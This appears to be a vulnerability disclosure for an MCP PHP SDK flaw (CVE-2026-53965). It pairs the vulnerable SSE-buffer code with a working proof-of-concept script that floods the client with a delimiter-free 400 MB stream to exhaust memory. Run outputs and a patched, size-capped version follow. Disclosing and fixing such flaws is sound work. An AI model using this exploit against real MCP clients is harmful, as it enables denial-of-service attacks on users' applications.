MCP PHP SDK CVE-2026-53965

    private string $sseBuffer = '';

    private function processSSEStream(): void
    {
        if (null === $this->activeStream) {
            return;
        }

        if (!$this->activeStream->eof()) {
            $chunk = $this->activeStream->read(4096);
            if ('' !== $chunk) {
                $this->sseBuffer .= $chunk;          // line 203 - unbounded append
            }
        }

        while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) {
            $event = substr($this->sseBuffer, 0, $pos);
            $this->sseBuffer = substr($this->sseBuffer, $pos + 2);

            if (!empty(trim($event))) {
                $this->processSSEEvent($event);
            }
        }

        if ($this->activeStream->eof() && empty($this->sseBuffer)) {
            $this->activeStream = null;
        }
    }

$ composer require mcp/sdk:0.5.0 --no-interaction
  - Installing mcp/sdk (v0.5.0): Extracting archive
$ composer show mcp/sdk
name     : mcp/sdk
versions : * v0.5.0

<?php
require __DIR__ . '/vendor/autoload.php';
use Mcp\Client\Transport\HttpTransport;
use Psr\Http\Message\StreamInterface;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\StreamFactoryInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

final class FloodStream implements StreamInterface {
    private int $served = 0;
    public function __construct(private int $total) {}
    public function read(int $length): string {
        if ($this->served >= $this->total) return '';
        $n = min($length, $this->total - $this->served);
        $this->served += $n;
        return str_repeat('A', $n);           // never contains "\n\n"
    }
    public function eof(): bool { return $this->served >= $this->total; }
    public function __toString(): string { return ''; }
    public function close(): void {}
    public function detach() { return null; }
    public function getSize(): ?int { return $this->total; }
    public function tell(): int { return $this->served; }
    public function isSeekable(): bool { return false; }
    public function seek(int $o, int $w = SEEK_SET): void {}
    public function rewind(): void {}
    public function isWritable(): bool { return false; }
    public function write(string $s): int { return 0; }
    public function isReadable(): bool { return true; }
    public function getContents(): string { return ''; }
    public function getMetadata(?string $key = null) { return null; }
}
final class NullHttpClient implements ClientInterface {
    public function sendRequest(RequestInterface $request): ResponseInterface { throw new \RuntimeException('not used'); }
}
final class NullRequestFactory implements RequestFactoryInterface {
    public function createRequest(string $method, $uri): RequestInterface { throw new \RuntimeException('not used'); }
}
final class NullStreamFactory implements StreamFactoryInterface {
    public function createStream(string $content = ''): StreamInterface { throw new \RuntimeException('not used'); }
    public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface { throw new \RuntimeException('not used'); }
    public function createStreamFromResource($resource): StreamInterface { throw new \RuntimeException('not used'); }
}
final class ProbeHttp extends HttpTransport {
    public function inject(StreamInterface $s): void {
        (new ReflectionProperty(HttpTransport::class, 'activeStream'))->setValue($this, $s);
    }
    public function pump(): void {
        (new ReflectionMethod(HttpTransport::class, 'processSSEStream'))->invoke($this);
    }
}
function fmtMB(int $b): string { return number_format($b/1048576,1).' MB'; }
$mode = $argv[1] ?? 'attack';
$t = new ProbeHttp('http://127.0.0.1:9/mcp', [], new NullHttpClient(), new NullRequestFactory(), new NullStreamFactory());

if ($mode === 'control') {
    $body = '';
    for ($i=0;$i<1000;$i++) $body .= "event: message\ndata: {\"jsonrpc\":\"2.0\",\"id\":$i}\n\n";
    $tmp = fopen('php://temp','r+'); fwrite($tmp,$body); rewind($tmp);
    $t->inject(new FloodStream(0));   // replaced below by a real stream over $tmp
    $stream = new class($tmp) implements StreamInterface {
        public function __construct(private $h) {}
        public function read(int $l): string { return (string) fread($this->h, $l); }
        public function eof(): bool { return feof($this->h); }
        public function __toString(): string { return ''; }
        public function close(): void {}
        public function detach() { return null; }
        public function getSize(): ?int { return null; }
        public function tell(): int { return 0; }
        public function isSeekable(): bool { return false; }
        public function seek(int $o,int $w=SEEK_SET): void {}
        public function rewind(): void {}
        public function isWritable(): bool { return false; }
        public function write(string $s): int { return 0; }
        public function isReadable(): bool { return true; }
        public function getContents(): string { return ''; }
        public function getMetadata(?string $k=null) { return null; }
    };
    $t->inject($stream);
    $before = memory_get_usage(true);
    for ($i=0;$i<5000 && !$stream->eof();$i++) $t->pump();
    fwrite(STDERR,"[control] events fed   : 1000 well-formed SSE events (delimited by \\n\\n)\n");
    fwrite(STDERR,"[control] mem before   : ".fmtMB($before)."\n");
    fwrite(STDERR,"[control] mem after    : ".fmtMB(memory_get_usage(true))."\n");
    fwrite(STDERR,"[control] RESULT       : bounded, no OOM (each event flushed on \\n\\n)\n");
    exit(0);
}

ini_set('memory_limit','256M');
$SIZE = 400*1024*1024;                              // 400MB SSE body, NO "\n\n"
$t->inject(new FloodStream($SIZE));
fwrite(STDERR,"[attack] SSE body         : ".fmtMB($SIZE)." with NO \\n\\n delimiter\n");
fwrite(STDERR,"[attack] memory_limit     : ".ini_get('memory_limit')."\n");
fwrite(STDERR,"[attack] mem before       : ".fmtMB(memory_get_usage(true))."\n");
register_shutdown_function(function() {
    $err = error_get_last();
    fwrite(STDERR,"[attack] peak mem         : ".number_format(memory_get_peak_usage(true)/1048576,1)." MB\n");
    if ($err && stripos($err['message'],'memory')!==false)
        fwrite(STDERR,"[attack] RESULT           : OOM - ".trim($err['message'])."\n");
});
for ($i=0;;$i++) { $t->pump(); }      // each pump reads one 4096 chunk -> sseBuffer

$ php poc_sse.php control
[control] events fed   : 1000 well-formed SSE events (delimited by \n\n)
[control] mem before   : 2.0 MB
[control] mem after    : 2.0 MB
[control] RESULT       : bounded, no OOM (each event flushed on \n\n)

$ php poc_sse.php attack
[attack] SSE body         : 400.0 MB with NO \n\n delimiter
[attack] memory_limit     : 256M
[attack] mem before       : 2.0 MB
PHP Fatal error:  Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes) in /private/tmp/work/vendor/mcp/sdk/src/Client/Transport/HttpTransport.php on line 203
Stack trace:
#0 [internal function]: Mcp\Client\Transport\HttpTransport->processSSEStream()
#1 /private/tmp/work/poc_sse.php(69): ReflectionMethod->invoke(Object(ProbeHttp))
#2 /private/tmp/work/poc_sse.php(129): ProbeHttp->pump()
#3 {main}
[attack] peak mem         : 256.0 MB
[attack] RESULT           : OOM - Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes)

private const MAX_SSE_BUFFER_BYTES = 8 * 1024 * 1024; // 8 MiB, configurable

private function processSSEStream(): void
{
    if (null === $this->activeStream) {
        return;
    }

    if (!$this->activeStream->eof()) {
        $chunk = $this->activeStream->read(4096);
        if ('' !== $chunk) {
            if (\strlen($this->sseBuffer) + \strlen($chunk) > self::MAX_SSE_BUFFER_BYTES) {
                $this->sseBuffer = '';
                $this->activeStream = null;
                $this->logger->warning('Aborting SSE stream: buffer exceeded maximum size without a complete event.', [
                    'max_sse_buffer_bytes' => self::MAX_SSE_BUFFER_BYTES,
                ]);

                return;
            }
            $this->sseBuffer .= $chunk;
        }
    }

    while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) {
        $event = substr($this->sseBuffer, 0, $pos);
        $this->sseBuffer = substr($this->sseBuffer, $pos + 2);

        if (!empty(trim($event))) {
            $this->processSSEEvent($event);
        }
    }

    if ($this->activeStream->eof() && empty($this->sseBuffer)) {
        $this->activeStream = null;
    }
}